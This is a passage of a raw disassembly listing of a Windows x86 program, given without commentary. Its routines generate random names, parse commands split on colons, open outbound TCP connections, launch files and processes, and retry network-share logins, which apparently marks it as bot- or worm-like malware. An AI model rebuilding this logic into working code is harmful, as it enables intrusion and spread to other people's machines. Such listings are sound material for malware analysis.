add esp, 4 call edi cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015E1 test esi, esi jle short loc_41BC4E loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj lea ecx, [esp+4Ch+var_3C] call sub_40142E lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FDC call edi cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+54h+var_24] push offset dword_444E6C push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BBF8 loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014D3 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41BA50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD20: ; CODE XREF: ___:00401573j mov al, [esp+4] cmp al, 20h jz short loc_41BD2F cmp al, 9 jz short loc_41BD2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BD2F: ; CODE XREF: ___:0041BD26j ; ___:0041BD2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD50: ; CODE XREF: ___:00401EF6j mov eax, [esp+4] push offset dword_444E74 push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BD74 push eax call near ptr 77C40AB1h nop add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BD74: ; CODE XREF: ___:0041BD65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BD90 proc near ; CODE XREF: sub_401483j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BFEE mov esi, offset byte_448F40 mov eax, edi loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BDD2 test cl, cl jz short loc_41BDCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BDD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BDAA loc_41BDCE: ; CODE XREF: sub_41BD90+26j xor eax, eax jmp short loc_41BDD7 ; --------------------------------------------------------------------------- loc_41BDD2: ; CODE XREF: sub_41BD90+22j ; sub_41BD90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDD7: ; CODE XREF: sub_41BD90+40j test eax, eax jz loc_41BFEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_511B00 lea ecx, [esp+4Ch+var_20] push offset dword_4447F8 push ecx call edi add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BFEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BE17: ; CODE XREF: sub_41BD90+A4j push offset dword_4447F8 push 0 call edi add esp, 8 mov [esi], eax test eax, eax jz loc_41BFEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BE17 mov ebp, [esp+40h+var_30] mov esi, offset dword_444E90 mov eax, ebp loc_41BE41: ; CODE XREF: sub_41BD90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BE69 test dl, dl jz short loc_41BE65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BE69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE41 loc_41BE65: ; CODE XREF: sub_41BD90+BDj xor eax, eax jmp short loc_41BE6E ; --------------------------------------------------------------------------- loc_41BE69: ; CODE XREF: sub_41BD90+B9j ; sub_41BD90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BE6E: ; CODE XREF: sub_41BD90+D7j test eax, eax jnz short loc_41BE7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD90+E0j mov esi, offset dword_444E8C mov eax, ebp loc_41BE83: ; CODE XREF: sub_41BD90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BEAB test dl, dl jz short loc_41BEA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BEAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE83 loc_41BEA7: ; CODE XREF: sub_41BD90+FFj xor eax, eax jmp short loc_41BEB0 ; --------------------------------------------------------------------------- loc_41BEAB: ; CODE XREF: sub_41BD90+FBj ; sub_41BD90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEB0: ; CODE XREF: sub_41BD90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BEFA mov esi, offset dword_444E88 mov edx, edi loc_41BEBF: ; CODE XREF: sub_41BD90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BEE7 test bl, bl jz short loc_41BEE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BEE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BEBF loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj xor edx, edx jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEE7: ; CODE XREF: sub_41BD90+137j ; sub_41BD90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BEEC: ; CODE XREF: sub_41BD90+155j test edx, edx jnz short loc_41BEFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEFA: ; CODE XREF: sub_41BD90+126j ; sub_41BD90+15Ej mov esi, offset dword_444E84 mov edx, ebp loc_41BF01: ; CODE XREF: sub_41BD90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF29 test bl, bl jz short loc_41BF25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF01 loc_41BF25: ; CODE XREF: sub_41BD90+17Dj xor edx, edx jmp short loc_41BF2E ; --------------------------------------------------------------------------- loc_41BF29: ; CODE XREF: sub_41BD90+179j ; sub_41BD90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF2E: ; CODE XREF: sub_41BD90+197j test edx, edx jnz short loc_41BF74 mov esi, offset dword_444E80 mov edx, edi loc_41BF39: ; CODE XREF: sub_41BD90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF61 test bl, bl jz short loc_41BF5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF39 loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j xor edx, edx jmp short loc_41BF66 ; --------------------------------------------------------------------------- loc_41BF61: ; CODE XREF: sub_41BD90+1B1j ; sub_41BD90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF66: ; CODE XREF: sub_41BD90+1CFj test edx, edx jnz short loc_41BF74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BF74: ; CODE XREF: sub_41BD90+1A0j ; sub_41BD90+1D8j mov esi, offset dword_444E7C mov ecx, ebp loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BFA3 test dl, dl jz short loc_41BF9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BFA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BF7B loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j xor ecx, ecx jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j ; sub_41BD90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BFA8: ; CODE XREF: sub_41BD90+211j test ecx, ecx jnz short loc_41BFEE mov esi, offset dword_444E78 mov eax, edi loc_41BFB3: ; CODE XREF: sub_41BD90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BFDB test cl, cl jz short loc_41BFD7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BFDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BFB3 loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj xor eax, eax jmp short loc_41BFE0 ; --------------------------------------------------------------------------- loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj ; sub_41BD90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BFE0: ; CODE XREF: sub_41BD90+249j test eax, eax jnz short loc_41BFEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BFEE: ; CODE XREF: sub_41BD90+Dj ; sub_41BD90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BD90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: sub_402022j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C108 cmp esi, 0FFFFFFFFh jz short loc_41C108 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx call near ptr 71AB2B66h nop lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41C0F9 mov bl, 1 loc_41C0F9: ; CODE XREF: sub_41C0A0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C108: ; CODE XREF: sub_41C0A0+18j ; sub_41C0A0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41C0A0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C130 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h cmp eax, 20h setnl al retn sub_41C130 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C170 proc near ; CODE XREF: sub_402167j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h call near ptr 27F0462h nop test eax, eax setnle al pop edi add esp, 54h retn sub_41C170 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: ___:00401884j sub esp, 354h mov eax, off_444E9C mov ecx, off_444EA0 mov [esp+0], eax mov al, byte_448F40 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444EA4 rep stosd mov ecx, off_444E94 mov [esp+10h], edx mov dx, word_444E98 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi call near ptr 27B0000h nop mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50DB5C push offset dword_50DB5C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_43829E ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C2C8 cmp eax, 4C3h jnz short loc_41C2D1 loc_41C2C8: ; CODE XREF: ___:0041C2BFj push edi push edi push edi push esi call sub_43829E ; --------------------------------------------------------------------------- loc_41C2D1: ; CODE XREF: ___:0041C2C6j pop edi cmp eax, 5 pop esi jz short loc_41C2E8 cmp eax, 4C3h jz short loc_41C2E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: ___:0041C2D6j ; ___:0041C2DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C350: ; CODE XREF: ___:00401EE7j sub esp, 354h mov eax, off_444E9C mov ecx, off_444EA0 mov [esp+0], eax mov al, byte_448F40 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444EA4 rep stosd mov ecx, off_444E94 mov [esp+10h], edx mov dx, word_444E98 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call near ptr 27B0000h nop mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C438 mov esi, dword_5118D8 loc_41C41C: ; CODE XREF: ___:0041C436j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C41C loc_41C438: ; CODE XREF: ___:0041C414j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C490 proc near ; CODE XREF: sub_401D93j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41C490 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+118h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+60h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C710 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_40142E lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_40142E lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_40142E lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_40142E lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_40142E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B4A mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017EE push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C93C push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C7C ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C8CC mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41C8CE ; --------------------------------------------------------------------------- loc_41C8CC: ; CODE XREF: sub_41C710+1AFj xor edi, edi loc_41C8CE: ; CODE XREF: sub_41C710+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41C93C: ; CODE XREF: sub_41C710+C0j lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CABB push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C7C ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41CA4B mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CA4D ; --------------------------------------------------------------------------- loc_41CA4B: ; CODE XREF: sub_41C710+32Ej xor edi, edi loc_41CA4D: ; CODE XREF: sub_41C710+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41CABB: ; CODE XREF: sub_41C710+23Fj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CCF6 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C7C ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016B8 push offset word_44956A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CC5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41CC5E: ; CODE XREF: sub_41C710+4D6j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CC86 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CC86: ; CODE XREF: sub_41C710+569j xor edi, edi loc_41CC88: ; CODE XREF: sub_41C710+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FDC lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FDC lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CCF6: ; CODE XREF: sub_41C710+3BEj lea ecx, [ebp+0BCh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CE9B push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CE0E mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CE10 ; --------------------------------------------------------------------------- loc_41CE0E: ; CODE XREF: sub_41C710+6F1j xor edi, edi loc_41CE10: ; CODE XREF: sub_41C710+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE 